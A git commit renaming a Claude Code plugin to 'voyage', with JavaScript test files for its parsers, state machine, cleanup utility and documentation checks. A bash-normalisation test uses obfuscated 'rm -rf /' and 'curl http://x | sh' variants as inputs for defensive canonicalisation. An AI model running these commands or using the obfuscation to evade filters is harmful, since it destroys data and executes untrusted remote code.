feat(voyage)!: marketplace handoff — rename plugins/ultraplan-local to plugins/voyage [skip-docs]

Session 5 of voyage-rebrand (V6). Operator-authorized cross-plugin scope.

- git mv plugins/ultraplan-local plugins/voyage (rename detected, history preserved)
- .claude-plugin/marketplace.json: voyage entry replaces ultraplan-local
- CLAUDE.md: voyage row in plugin list, voyage in design-system consumer list
- README.md: bulk rename ultra*-local commands -> trek* commands; ultraplan-local refs -> voyage; type discriminators (type: trekbrief/trekreview); session-title pattern (voyage:<command>:<slug>); v4.0.0 release-note paragraph
- plugins/voyage/.claude-plugin/plugin.json: homepage/repository URLs point to monorepo voyage path
- plugins/voyage/verify.sh: drop URL whitelist exception (no longer needed)

Closes voyage-rebrand. bash plugins/voyage/verify.sh PASS 7/7. npm test 361/361.
This commit is contained in:
Kjell Tore Guttormsen 2026-05-05 15:37:52 +02:00
commit 7a90d348ad
149 changed files with 26 additions and 33 deletions

View file

@ -0,0 +1,125 @@
// tests/lib/agent-frontmatter.test.mjs
// Pin the agent-frontmatter contract from Steps 1-3 of plan-v2:
// every agents/*.md MUST declare:
// - model: (one of opus | sonnet | haiku)
// - tools: (allowlist) OR disallowedTools: (denylist), at least one
// Orchestrator agents (planning/research/review) MUST be model: opus and
// MUST include the `Agent` tool in their tools allowlist (they spawn the swarm).
//
// When this test fails, fix the agent file — do NOT relax the assertion to
// hide drift. The contract is what /trek* commands rely on for
// disciplined model selection + tool scoping.
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { readFileSync, readdirSync } from 'node:fs';
import { join, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
const HERE = dirname(fileURLToPath(import.meta.url));
const ROOT = join(HERE, '..', '..');
const AGENTS_DIR = join(ROOT, 'agents');
const ORCHESTRATORS = new Set([
'planning-orchestrator.md',
'research-orchestrator.md',
'review-orchestrator.md',
]);
const ALLOWED_MODELS = new Set(['opus', 'sonnet', 'haiku']);
function read(rel) {
return readFileSync(join(ROOT, rel), 'utf-8');
}
function extractFrontmatter(text) {
const m = text.match(/^---\r?\n([\s\S]*?)\r?\n---/);
return m ? m[1] : null;
}
function hasTopLevelKey(fm, key) {
return new RegExp(`^${key}\\s*:`, 'm').test(fm);
}
function getTopLevelValue(fm, key) {
const m = fm.match(new RegExp(`^${key}\\s*:\\s*(.+?)\\s*$`, 'm'));
return m ? m[1] : null;
}
const agentFiles = readdirSync(AGENTS_DIR).filter(f => f.endsWith('.md'));
test('every agents/*.md declares a model: field', () => {
assert.ok(agentFiles.length > 0, 'No agent files found under agents/');
for (const f of agentFiles) {
const fm = extractFrontmatter(read(`agents/${f}`));
assert.ok(fm, `agents/${f}: missing YAML frontmatter block`);
assert.ok(
hasTopLevelKey(fm, 'model'),
`agents/${f}: required \`model:\` field missing from frontmatter`,
);
const value = getTopLevelValue(fm, 'model');
assert.ok(
value && ALLOWED_MODELS.has(value),
`agents/${f}: model: "${value}" must be one of ${[...ALLOWED_MODELS].join(' | ')}`,
);
}
});
test('every agents/*.md declares tools: or disallowedTools:', () => {
for (const f of agentFiles) {
const fm = extractFrontmatter(read(`agents/${f}`));
assert.ok(fm, `agents/${f}: missing YAML frontmatter block`);
assert.ok(
hasTopLevelKey(fm, 'tools') || hasTopLevelKey(fm, 'disallowedTools'),
`agents/${f}: required \`tools:\` (allowlist) or \`disallowedTools:\` (denylist) field missing`,
);
}
});
test('every agents/*.md frontmatter name matches its filename', () => {
for (const f of agentFiles) {
const fm = extractFrontmatter(read(`agents/${f}`));
assert.ok(fm, `agents/${f}: missing frontmatter`);
const expected = f.replace(/\.md$/, '');
const value = getTopLevelValue(fm, 'name');
assert.equal(
value,
expected,
`agents/${f}: frontmatter name="${value}" should match filename "${expected}"`,
);
}
});
test('orchestrator agents are model: opus and include the Agent tool', () => {
for (const f of ORCHESTRATORS) {
const path = `agents/${f}`;
const fm = extractFrontmatter(read(path));
assert.ok(fm, `${path}: missing frontmatter`);
const model = getTopLevelValue(fm, 'model');
assert.equal(
model,
'opus',
`${path}: orchestrator must be model: opus (drives multi-agent swarm reasoning) — got "${model}"`,
);
const tools = getTopLevelValue(fm, 'tools');
assert.ok(
tools && /\bAgent\b/.test(tools),
`${path}: orchestrator tools: must include "Agent" so it can spawn the swarm — got ${tools}`,
);
}
});
test('non-orchestrator agents do NOT include the Agent tool (no recursive swarming)', () => {
for (const f of agentFiles) {
if (ORCHESTRATORS.has(f)) continue;
const fm = extractFrontmatter(read(`agents/${f}`));
assert.ok(fm, `agents/${f}: missing frontmatter`);
const tools = getTopLevelValue(fm, 'tools');
if (tools === null) continue; // disallowedTools-only agent — fine
assert.ok(
!/\bAgent\b/.test(tools),
`agents/${f}: non-orchestrator must NOT include the Agent tool ` +
`(only orchestrators spawn sub-agents) — got tools: ${tools}`,
);
}
});

View file

@ -0,0 +1,140 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { parseArgs } from '../../lib/parsers/arg-parser.mjs';
test('trekbrief — empty args', () => {
const r = parseArgs('', 'trekbrief');
assert.equal(r.command, 'trekbrief');
assert.deepEqual(r.flags, {});
});
test('trekbrief — --quick boolean', () => {
const r = parseArgs('--quick', 'trekbrief');
assert.equal(r.flags['--quick'], true);
});
test('trekresearch — --project value capture', () => {
const r = parseArgs('--project .claude/projects/2026-04-30-foo', 'trekresearch');
assert.equal(r.flags['--project'], '.claude/projects/2026-04-30-foo');
});
test('trekresearch — --quick --local combined', () => {
const r = parseArgs('--quick --local', 'trekresearch');
assert.equal(r.flags['--quick'], true);
assert.equal(r.flags['--local'], true);
});
test('trekplan — --research multi-value', () => {
const r = parseArgs('--research a.md b.md c.md', 'trekplan');
assert.deepEqual(r.flags['--research'], ['a.md', 'b.md', 'c.md']);
});
test('trekplan — --research multi stops at next flag', () => {
const r = parseArgs('--research a.md b.md --project /x', 'trekplan');
assert.deepEqual(r.flags['--research'], ['a.md', 'b.md']);
assert.equal(r.flags['--project'], '/x');
});
test('trekplan — --brief required-value flag', () => {
const r = parseArgs('--brief brief.md', 'trekplan');
assert.equal(r.flags['--brief'], 'brief.md');
});
test('trekplan — missing value for --brief produces error', () => {
const r = parseArgs('--brief --quick', 'trekplan');
assert.ok(r.errors.find(e => e.code === 'ARG_MISSING_VALUE'));
});
test('trekplan — --decompose value flag', () => {
const r = parseArgs('--decompose plan.md', 'trekplan');
assert.equal(r.flags['--decompose'], 'plan.md');
});
test('trekexecute — --resume + --project', () => {
const r = parseArgs('--resume --project /tmp/p', 'trekexecute');
assert.equal(r.flags['--resume'], true);
assert.equal(r.flags['--project'], '/tmp/p');
});
test('trekexecute — --step N value', () => {
const r = parseArgs('--step 3', 'trekexecute');
assert.equal(r.flags['--step'], '3');
});
test('trekexecute — unknown flag goes to unknown[]', () => {
const r = parseArgs('--mystery foo', 'trekexecute');
assert.ok(r.unknown.includes('--mystery'));
});
test('quoted positional with spaces preserved', () => {
const r = parseArgs('"hello world" simple', 'trekbrief');
assert.deepEqual(r.positional, ['hello world', 'simple']);
});
test('unknown command reported as error', () => {
const r = parseArgs('--quick', 'notacommand');
assert.ok(r.errors.find(e => e.code === 'ARG_UNKNOWN_COMMAND'));
});
test('trekreview — --project value capture', () => {
const r = parseArgs('--project .claude/projects/2026-05-01-foo', 'trekreview');
assert.equal(r.flags['--project'], '.claude/projects/2026-05-01-foo');
});
test('trekreview — --since <ref> value', () => {
const r = parseArgs('--since HEAD~5', 'trekreview');
assert.equal(r.flags['--since'], 'HEAD~5');
});
test('trekreview — --quick + --validate combined', () => {
const r = parseArgs('--quick --validate', 'trekreview');
assert.equal(r.flags['--quick'], true);
assert.equal(r.flags['--validate'], true);
});
test('trekreview — unknown flag goes to unknown[]', () => {
const r = parseArgs('--mystery foo', 'trekreview');
assert.ok(r.unknown.includes('--mystery'));
});
test('trekcontinue — empty args produce no flags and no positional', () => {
const r = parseArgs('', 'trekcontinue');
assert.equal(r.command, 'trekcontinue');
assert.deepEqual(r.flags, {});
assert.deepEqual(r.positional, []);
assert.deepEqual(r.errors, []);
});
test('trekcontinue — --help boolean flag', () => {
const r = parseArgs('--help', 'trekcontinue');
assert.equal(r.flags['--help'], true);
});
test('trekcontinue — -h treated as positional (no alias resolution)', () => {
const r = parseArgs('-h', 'trekcontinue');
assert.deepEqual(r.positional, ['-h']);
assert.deepEqual(r.errors, []);
assert.equal(r.flags['--help'], undefined);
});
test('trekcontinue — --cleanup boolean flag', () => {
const r = parseArgs('--cleanup', 'trekcontinue');
assert.equal(r.flags['--cleanup'], true);
});
test('trekcontinue — --cleanup --confirm both flags', () => {
const r = parseArgs('--cleanup --confirm', 'trekcontinue');
assert.equal(r.flags['--cleanup'], true);
assert.equal(r.flags['--confirm'], true);
});
test('trekcontinue — positional project dir captured', () => {
const r = parseArgs('.claude/projects/2026-05-04-foo', 'trekcontinue');
assert.deepEqual(r.positional, ['.claude/projects/2026-05-04-foo']);
});
test('trekcontinue — .md positional accepted by parser (rejection is command-level)', () => {
const r = parseArgs('NEXT-SESSION-PROMPT.local.md', 'trekcontinue');
assert.deepEqual(r.positional, ['NEXT-SESSION-PROMPT.local.md']);
assert.deepEqual(r.errors, []);
});

View file

@ -0,0 +1,61 @@
// tests/lib/atomic-write.test.mjs
// Unit tests for lib/util/atomic-write.mjs
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { mkdtempSync, rmSync, readFileSync, existsSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { atomicWriteJson } from '../../lib/util/atomic-write.mjs';
test('atomicWriteJson — writes valid JSON and round-trips', () => {
const dir = mkdtempSync(join(tmpdir(), 'aw-test-'));
try {
const path = join(dir, 'state.json');
const obj = { schema_version: 1, status: 'in_progress', items: [1, 2, 3] };
atomicWriteJson(path, obj);
const read = JSON.parse(readFileSync(path, 'utf-8'));
assert.deepEqual(read, obj);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
test('atomicWriteJson — leaves no .tmp orphan after success', () => {
const dir = mkdtempSync(join(tmpdir(), 'aw-test-'));
try {
const path = join(dir, 'state.json');
atomicWriteJson(path, { ok: true });
assert.equal(existsSync(path), true);
assert.equal(existsSync(path + '.tmp'), false);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
test('atomicWriteJson — overwrites existing file atomically', () => {
const dir = mkdtempSync(join(tmpdir(), 'aw-test-'));
try {
const path = join(dir, 'state.json');
writeFileSync(path, '{"old":true}');
atomicWriteJson(path, { new: true });
const read = JSON.parse(readFileSync(path, 'utf-8'));
assert.deepEqual(read, { new: true });
assert.equal(existsSync(path + '.tmp'), false);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
test('atomicWriteJson — pretty-prints with 2-space indent', () => {
const dir = mkdtempSync(join(tmpdir(), 'aw-test-'));
try {
const path = join(dir, 'state.json');
atomicWriteJson(path, { a: 1, b: { c: 2 } });
const text = readFileSync(path, 'utf-8');
assert.match(text, /\n {2}"a": 1/);
assert.match(text, /\n {4}"c": 2/);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});

View file

@ -0,0 +1,147 @@
// tests/lib/autonomy-gate.test.mjs
// Cover the autonomy-gate state machine (lib/util/autonomy-gate.mjs):
// every legal transition + every invalid-transition error + idempotent
// re-entry to `completed` + CLI-shim JSON-on-stdout contract.
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { execFileSync } from 'node:child_process';
import { dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { transition, isTerminal, STATES, EVENTS } from '../../lib/util/autonomy-gate.mjs';
const HERE = dirname(fileURLToPath(import.meta.url));
const SHIM = join(HERE, '..', '..', 'lib', 'util', 'autonomy-gate.mjs');
function runShim(args) {
try {
const out = execFileSync(process.execPath, [SHIM, ...args], {
encoding: 'utf-8',
stdio: ['ignore', 'pipe', 'pipe'],
});
return { code: 0, out };
} catch (e) {
return { code: e.status ?? 1, out: e.stdout?.toString() ?? '' };
}
}
test('idle + start + gates=true → gates_on', () => {
const r = transition(STATES.IDLE, EVENTS.START, { gates: true });
assert.equal(r.ok, true);
assert.equal(r.next_state, STATES.GATES_ON);
});
test('idle + start + gates=false → auto_running', () => {
const r = transition(STATES.IDLE, EVENTS.START, { gates: false });
assert.equal(r.ok, true);
assert.equal(r.next_state, STATES.AUTO_RUNNING);
});
test('idle + start + gates omitted defaults to auto_running', () => {
const r = transition(STATES.IDLE, EVENTS.START);
assert.equal(r.ok, true);
assert.equal(r.next_state, STATES.AUTO_RUNNING);
});
test('gates_on + phase_boundary → paused_for_gate', () => {
const r = transition(STATES.GATES_ON, EVENTS.PHASE_BOUNDARY);
assert.equal(r.ok, true);
assert.equal(r.next_state, STATES.PAUSED_FOR_GATE);
});
test('gates_on + finish → completed', () => {
const r = transition(STATES.GATES_ON, EVENTS.FINISH);
assert.equal(r.ok, true);
assert.equal(r.next_state, STATES.COMPLETED);
});
test('auto_running + phase_boundary → auto_running (no pause)', () => {
const r = transition(STATES.AUTO_RUNNING, EVENTS.PHASE_BOUNDARY);
assert.equal(r.ok, true);
assert.equal(r.next_state, STATES.AUTO_RUNNING);
});
test('auto_running + finish → completed', () => {
const r = transition(STATES.AUTO_RUNNING, EVENTS.FINISH);
assert.equal(r.ok, true);
assert.equal(r.next_state, STATES.COMPLETED);
});
test('paused_for_gate + resume → gates_on', () => {
const r = transition(STATES.PAUSED_FOR_GATE, EVENTS.RESUME);
assert.equal(r.ok, true);
assert.equal(r.next_state, STATES.GATES_ON);
});
test('paused_for_gate + finish → completed', () => {
const r = transition(STATES.PAUSED_FOR_GATE, EVENTS.FINISH);
assert.equal(r.ok, true);
assert.equal(r.next_state, STATES.COMPLETED);
});
test('completed + any event → completed (idempotent re-entry)', () => {
for (const ev of Object.values(EVENTS)) {
const r = transition(STATES.COMPLETED, ev);
assert.equal(r.ok, true, `event ${ev} should be tolerated from completed`);
assert.equal(r.next_state, STATES.COMPLETED, `event ${ev} broke idempotency`);
}
});
test('idle + non-start event → invalid transition error', () => {
const r = transition(STATES.IDLE, EVENTS.PHASE_BOUNDARY);
assert.equal(r.ok, false);
assert.match(r.error, /invalid transition.*idle/);
});
test('gates_on + resume → invalid (resume is only valid from paused_for_gate)', () => {
const r = transition(STATES.GATES_ON, EVENTS.RESUME);
assert.equal(r.ok, false);
});
test('auto_running + resume → invalid (auto-mode never pauses)', () => {
const r = transition(STATES.AUTO_RUNNING, EVENTS.RESUME);
assert.equal(r.ok, false);
});
test('unknown state rejected with descriptive error', () => {
const r = transition('zombie', EVENTS.START);
assert.equal(r.ok, false);
assert.match(r.error, /unknown state/);
});
test('unknown event rejected with descriptive error', () => {
const r = transition(STATES.IDLE, 'snooze');
assert.equal(r.ok, false);
assert.match(r.error, /unknown event/);
});
test('isTerminal — only completed is terminal', () => {
assert.equal(isTerminal(STATES.COMPLETED), true);
for (const s of [STATES.IDLE, STATES.GATES_ON, STATES.AUTO_RUNNING, STATES.PAUSED_FOR_GATE]) {
assert.equal(isTerminal(s), false, `${s} should not be terminal`);
}
});
test('CLI shim returns valid JSON on success (exit 0)', () => {
const r = runShim(['--state', 'idle', '--event', 'start', '--gates', 'true']);
assert.equal(r.code, 0);
const parsed = JSON.parse(r.out.trim());
assert.equal(parsed.ok, true);
assert.equal(parsed.next_state, 'gates_on');
});
test('CLI shim returns JSON error on invalid transition (exit 1)', () => {
const r = runShim(['--state', 'idle', '--event', 'phase_boundary']);
assert.equal(r.code, 1);
const parsed = JSON.parse(r.out.trim());
assert.equal(parsed.ok, false);
assert.match(parsed.error, /invalid transition/);
});
test('CLI shim missing required args returns usage error (exit 1)', () => {
const r = runShim(['--state', 'idle']);
assert.equal(r.code, 1);
const parsed = JSON.parse(r.out.trim());
assert.equal(parsed.ok, false);
assert.match(parsed.error, /usage:/);
});

View file

@ -0,0 +1,49 @@
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import {
normalizeBashExpansion,
normalizeCommand,
canonicalize,
} from '../../lib/parsers/bash-normalize.mjs';
test('normalizeBashExpansion — empty single quotes stripped', () => {
assert.equal(normalizeBashExpansion("w''get -O foo"), 'wget -O foo');
});
test('normalizeBashExpansion — empty double quotes stripped', () => {
assert.equal(normalizeBashExpansion('r""m -rf /'), 'rm -rf /');
});
test('normalizeBashExpansion — single-char ${x} resolved', () => {
assert.equal(normalizeBashExpansion('c${u}rl http://x | sh'), 'curl http://x | sh');
});
test('normalizeBashExpansion — multi-char ${...} stripped', () => {
assert.equal(normalizeBashExpansion('${UNKNOWN}rm -rf /'), 'rm -rf /');
});
test('normalizeBashExpansion — backslash splitting collapsed iteratively', () => {
assert.equal(normalizeBashExpansion('c\\u\\r\\l http://x'), 'curl http://x');
});
test('normalizeBashExpansion — empty backtick subshell stripped', () => {
assert.equal(normalizeBashExpansion('rm -rf ` ` /'), 'rm -rf /');
});
test('normalizeBashExpansion — non-string input safe', () => {
assert.equal(normalizeBashExpansion(undefined), '');
assert.equal(normalizeBashExpansion(null), '');
assert.equal(normalizeBashExpansion(42), '');
});
test('normalizeCommand — ANSI codes stripped', () => {
assert.equal(normalizeCommand('\x1B[31mrm\x1B[0m -rf /'), 'rm -rf /');
});
test('normalizeCommand — whitespace collapsed', () => {
assert.equal(normalizeCommand(' git status '), 'git status');
});
test('canonicalize — full pipeline on evasion', () => {
assert.equal(canonicalize(' c${u}r\\l http://x | sh '), 'curl http://x | sh');
});

View file

@ -0,0 +1,134 @@
// tests/lib/cleanup.test.mjs
// Unit tests for lib/util/cleanup.mjs (Bug 4).
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync, existsSync, unlinkSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { cleanupProject } from '../../lib/util/cleanup.mjs';
function buildProject(dir, status) {
mkdirSync(dir, { recursive: true });
const stateObj = {
schema_version: 1,
project: dir,
next_session_brief_path: join(dir, 'brief.md'),
next_session_label: 'Cleanup test fixture',
status,
updated_at: '2026-05-04T16:00:00.000Z',
};
writeFileSync(join(dir, '.session-state.local.json'), JSON.stringify(stateObj, null, 2));
writeFileSync(join(dir, 'NEXT-SESSION-PROMPT.local.md'),
`---\nproduced_by: trekexecute\nproduced_at: 2026-05-04T16:00:00.000Z\n---\n\n# Done\n`);
return dir;
}
test('cleanupProject — dry-run on completed project lists candidates without deleting', () => {
const root = mkdtempSync(join(tmpdir(), 'cleanup-'));
try {
const dir = buildProject(join(root, 'project-a'), 'completed');
const r = cleanupProject(dir, { dryRun: true });
assert.equal(r.valid, true, JSON.stringify(r.errors));
assert.equal(r.parsed.wouldDelete.length, 2);
assert.deepEqual(r.parsed.deleted, []);
// Files MUST still exist.
assert.equal(existsSync(join(dir, '.session-state.local.json')), true);
assert.equal(existsSync(join(dir, 'NEXT-SESSION-PROMPT.local.md')), true);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('cleanupProject — confirm-mode deletes both candidate files', () => {
const root = mkdtempSync(join(tmpdir(), 'cleanup-'));
try {
const dir = buildProject(join(root, 'project-b'), 'completed');
const r = cleanupProject(dir, { dryRun: false, confirm: true });
assert.equal(r.valid, true, JSON.stringify(r.errors));
assert.equal(r.parsed.deleted.length, 2);
assert.equal(existsSync(join(dir, '.session-state.local.json')), false);
assert.equal(existsSync(join(dir, 'NEXT-SESSION-PROMPT.local.md')), false);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('cleanupProject — idempotent re-run after partial cleanup succeeds with deleted: []', () => {
const root = mkdtempSync(join(tmpdir(), 'cleanup-'));
try {
const dir = buildProject(join(root, 'project-c'), 'completed');
// First confirm-mode deletes the prompt file BUT we still have the state file.
// Manually remove the prompt file FIRST so the state file (still completed) is
// the only candidate left after first cleanup.
unlinkSync(join(dir, 'NEXT-SESSION-PROMPT.local.md'));
const first = cleanupProject(dir, { dryRun: false, confirm: true });
assert.equal(first.valid, true);
assert.equal(first.parsed.deleted.length, 1, 'first cleanup deletes only the state file (prompt was pre-removed)');
// Second invocation must fail — no state file → CLEANUP_NO_STATE_FILE.
// This is the documented "fully cleaned" terminal state and is NOT an error
// for the operator (they can ignore CLEANUP_NO_STATE_FILE), but the function
// signals it deterministically.
const second = cleanupProject(dir, { dryRun: false, confirm: true });
assert.equal(second.valid, false);
assert.ok(second.errors.find(e => e.code === 'CLEANUP_NO_STATE_FILE'));
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('cleanupProject — refuses on status: in_progress (CLEANUP_NOT_COMPLETED)', () => {
const root = mkdtempSync(join(tmpdir(), 'cleanup-'));
try {
const dir = buildProject(join(root, 'project-d'), 'in_progress');
const r = cleanupProject(dir, { dryRun: false, confirm: true });
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'CLEANUP_NOT_COMPLETED'));
// Files MUST still exist (refusal must not partially clean).
assert.equal(existsSync(join(dir, '.session-state.local.json')), true);
assert.equal(existsSync(join(dir, 'NEXT-SESSION-PROMPT.local.md')), true);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('cleanupProject — refuses dryRun: false without confirm: true (CLEANUP_REQUIRES_CONFIRM)', () => {
const root = mkdtempSync(join(tmpdir(), 'cleanup-'));
try {
const dir = buildProject(join(root, 'project-e'), 'completed');
const r = cleanupProject(dir, { dryRun: false }); // no confirm
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'CLEANUP_REQUIRES_CONFIRM'));
assert.equal(existsSync(join(dir, '.session-state.local.json')), true);
assert.equal(existsSync(join(dir, 'NEXT-SESSION-PROMPT.local.md')), true);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('cleanupProject — defaults to dry-run when opts is omitted', () => {
const root = mkdtempSync(join(tmpdir(), 'cleanup-'));
try {
const dir = buildProject(join(root, 'project-f'), 'completed');
const r = cleanupProject(dir);
assert.equal(r.valid, true);
assert.deepEqual(r.parsed.deleted, []);
assert.equal(r.parsed.wouldDelete.length, 2);
assert.equal(existsSync(join(dir, '.session-state.local.json')), true);
} finally {
rmSync(root, { recursive: true, force: true });
}
});
test('cleanupProject — missing state file returns CLEANUP_NO_STATE_FILE', () => {
const root = mkdtempSync(join(tmpdir(), 'cleanup-'));
try {
const dir = join(root, 'project-empty');
mkdirSync(dir, { recursive: true });
const r = cleanupProject(dir);
assert.equal(r.valid, false);
assert.ok(r.errors.find(e => e.code === 'CLEANUP_NO_STATE_FILE'));
} finally {
rmSync(root, { recursive: true, force: true });
}
});

View file

@ -0,0 +1,268 @@
// tests/lib/doc-consistency.test.mjs
// Pin invariants between prose (CLAUDE.md, README.md) and source files
// (agents/*.md, commands/*.md, templates/, settings.json).
//
// When this test fails, fix the source-of-truth — do NOT rewrite the test to
// hide drift. Borrowed pattern from llm-security commit 97c5c9d.
import { test } from 'node:test';
import { strict as assert } from 'node:assert';
import { readFileSync, readdirSync } from 'node:fs';
import { join, dirname } from 'node:path';
import { fileURLToPath } from 'node:url';
import { parseDocument } from '../../lib/util/frontmatter.mjs';
const HERE = dirname(fileURLToPath(import.meta.url));
const ROOT = join(HERE, '..', '..');
function read(rel) { return readFileSync(join(ROOT, rel), 'utf-8'); }
function listMd(rel) { return readdirSync(join(ROOT, rel)).filter(f => f.endsWith('.md')); }
test('CLAUDE.md agents table row count == agents/*.md file count', () => {
const md = read('CLAUDE.md');
const agentFiles = listMd('agents');
const agentTable = md.split('## Agents')[1] || '';
const tableSection = agentTable.split('\n## ')[0];
const dataRows = tableSection
.split('\n')
.filter(l => l.startsWith('|') && !l.match(/^\|[\s-]+\|/) && !l.match(/^\|\s*Agent\s*\|/));
assert.equal(
dataRows.length,
agentFiles.length,
`Drift: ${agentFiles.length} agent files vs ${dataRows.length} CLAUDE.md table rows. ` +
`Sync agents/ ↔ CLAUDE.md.`,
);
});
test('CLAUDE.md commands table mentions every commands/*.md file', () => {
const md = read('CLAUDE.md');
const commandFiles = listMd('commands');
for (const f of commandFiles) {
const cmdName = `/${f.replace(/\.md$/, '')}`;
assert.ok(
md.includes(cmdName),
`commands/${f} not mentioned in CLAUDE.md (looked for ${cmdName})`,
);
}
});
test('every command frontmatter name matches its filename', () => {
for (const f of listMd('commands')) {
const text = read(`commands/${f}`);
const doc = parseDocument(text);
if (!doc.valid) continue;
const expected = f.replace(/\.md$/, '');
if (doc.parsed.frontmatter && doc.parsed.frontmatter.name !== undefined) {
assert.equal(
doc.parsed.frontmatter.name,
expected,
`commands/${f} frontmatter.name="${doc.parsed.frontmatter.name}" should be "${expected}"`,
);
}
}
});
test('templates/plan-template.md declares plan_version: 1.7', () => {
const tpl = read('templates/plan-template.md');
assert.match(tpl, /plan_version:\s*['"]?1\.7['"]?/);
});
test('commands/trekexecute.md still parses v1.7 plan schema', () => {
const cmd = read('commands/trekexecute.md');
const tpl = read('templates/plan-template.md');
const tplVersion = (tpl.match(/plan_version:\s*['"]?([\d.]+)['"]?/) || [])[1];
assert.ok(tplVersion, 'templates/plan-template.md missing plan_version');
assert.ok(
cmd.includes(`plan_version`) || cmd.includes(`Step N:`) || cmd.includes('### Step '),
'commands/trekexecute.md should reference v1.7 plan-schema parsing',
);
});
test('settings.json has only known top-level scopes after Spor 0 cleanup', () => {
const cfg = JSON.parse(read('settings.json'));
const known = ['trekplan', 'trekresearch'];
for (const k of Object.keys(cfg)) {
assert.ok(known.includes(k), `Unknown top-level scope in settings.json: ${k}`);
}
});
test('settings.json no longer carries vestigial exploration block', () => {
const cfg = JSON.parse(read('settings.json'));
assert.equal(cfg.trekplan?.exploration, undefined,
'exploration block was vestigial — should be deleted in v3.1.0 Spor 0');
assert.equal(cfg.trekplan?.agentTeam, undefined,
'agentTeam block was vestigial — should be deleted in v3.1.0 Spor 0');
});
test('CLAUDE.md mentions all five pipeline commands', () => {
const md = read('CLAUDE.md');
for (const c of ['/trekbrief', '/trekresearch', '/trekplan', '/trekexecute', '/trekreview']) {
assert.ok(md.includes(c), `CLAUDE.md missing reference to ${c}`);
}
});
test('HANDOVER-CONTRACTS.md contains Handover 6 section', () => {
const text = read('docs/HANDOVER-CONTRACTS.md');
assert.ok(
text.includes('## Handover 6'),
'docs/HANDOVER-CONTRACTS.md should document Handover 6 (review → plan)',
);
});
test('HANDOVER-CONTRACTS.md contains Handover 7 section (session-state)', () => {
const text = read('docs/HANDOVER-CONTRACTS.md');
assert.ok(
text.includes('## Handover 7'),
'docs/HANDOVER-CONTRACTS.md should document Handover 7 (.session-state.local.json) ' +
'consumed by /trekcontinue',
);
assert.ok(
text.includes('.session-state.local.json'),
'Handover 7 section should name the artifact path',
);
});
test('review-validator has CLI shim', () => {
const text = read('lib/validators/review-validator.mjs');
assert.ok(
text.includes('import.meta.url === '),
'lib/validators/review-validator.mjs should expose the standard CLI shim ' +
'(if (import.meta.url === `file://${process.argv[1]}`)) so commands can call it from Bash',
);
});
test('session-state-validator has CLI shim', () => {
const text = read('lib/validators/session-state-validator.mjs');
assert.ok(
text.includes('import.meta.url === '),
'lib/validators/session-state-validator.mjs should expose the standard CLI shim ' +
'(if (import.meta.url === `file://${process.argv[1]}`)) so /trekcontinue can call it from Bash',
);
});
test('next-session-prompt-validator has CLI shim', () => {
const text = read('lib/validators/next-session-prompt-validator.mjs');
assert.ok(
text.includes('import.meta.url === '),
'lib/validators/next-session-prompt-validator.mjs should expose the standard CLI shim ' +
'(if (import.meta.url === `file://${process.argv[1]}`)) so /trekcontinue Phase 1.5 can call it from Bash',
);
});
test('HANDOVER-CONTRACTS.md Handover 7 documents § Lifecycle subsection', () => {
const text = read('docs/HANDOVER-CONTRACTS.md');
const h7Start = text.indexOf('## Handover 7');
assert.ok(h7Start >= 0, 'Handover 7 heading missing');
const h7End = text.indexOf('## Stability summary', h7Start);
assert.ok(h7End > h7Start, 'Stability summary heading missing — could not bound Handover 7');
const h7 = text.slice(h7Start, h7End);
assert.ok(
h7.includes('Lifecycle'),
'Handover 7 section should include a § Lifecycle subsection (SC-5 stale-file principle)',
);
});
test('HANDOVER-CONTRACTS.md Handover 7 § Lifecycle names --cleanup and produced_by contract', () => {
const text = read('docs/HANDOVER-CONTRACTS.md');
const h7Start = text.indexOf('## Handover 7');
const h7End = text.indexOf('## Stability summary', h7Start);
const h7 = text.slice(h7Start, h7End);
assert.ok(
h7.includes('--cleanup'),
'Handover 7 § Lifecycle should mention --cleanup as the operator-invoked stale-file remover',
);
assert.ok(
h7.includes('produced_by'),
'Handover 7 § Lifecycle should document the produced_by frontmatter contract for NEXT-SESSION-PROMPT.local.md',
);
});
test('CLAUDE.md mentions /trekcontinue command', () => {
const md = read('CLAUDE.md');
assert.ok(
md.includes('/trekcontinue') || md.includes('trekcontinue'),
'CLAUDE.md should document /trekcontinue in the Commands table ' +
'(added in v3.3.0 alongside the new command file)',
);
});
test('rule-catalogue has exactly 12 entries', async () => {
const mod = await import('../../lib/review/rule-catalogue.mjs');
assert.strictEqual(
mod.RULE_CATALOGUE.length,
12,
'lib/review/rule-catalogue.mjs RULE_CATALOGUE size invariant: must be 12 (v1.0 baseline)',
);
});
test('headless-launch-template.md mirrors Phase 2.6 hardenings', () => {
const tpl = read('templates/headless-launch-template.md');
for (const needle of [
'GIT_OPTIONAL_LOCKS',
'--max-turns',
'--max-budget-usd',
'--append-system-prompt-file',
'SHARED_CONTEXT_FILE',
'SAFETY_PREAMBLE',
'git push origin',
'GH #36071',
'push-before-cleanup',
]) {
assert.ok(
tpl.includes(needle),
`templates/headless-launch-template.md should include "${needle}" (Step 10 mirrors Phase 2.6)`,
);
}
});
test('Phase 9 prose mandates parallel single-message dispatch + inline dedup', () => {
const cmd = read('commands/trekplan.md');
const orch = read('agents/planning-orchestrator.md');
// Single-message reinforcement appears in both (command + orchestrator)
assert.ok(
cmd.includes('single assistant message turn'),
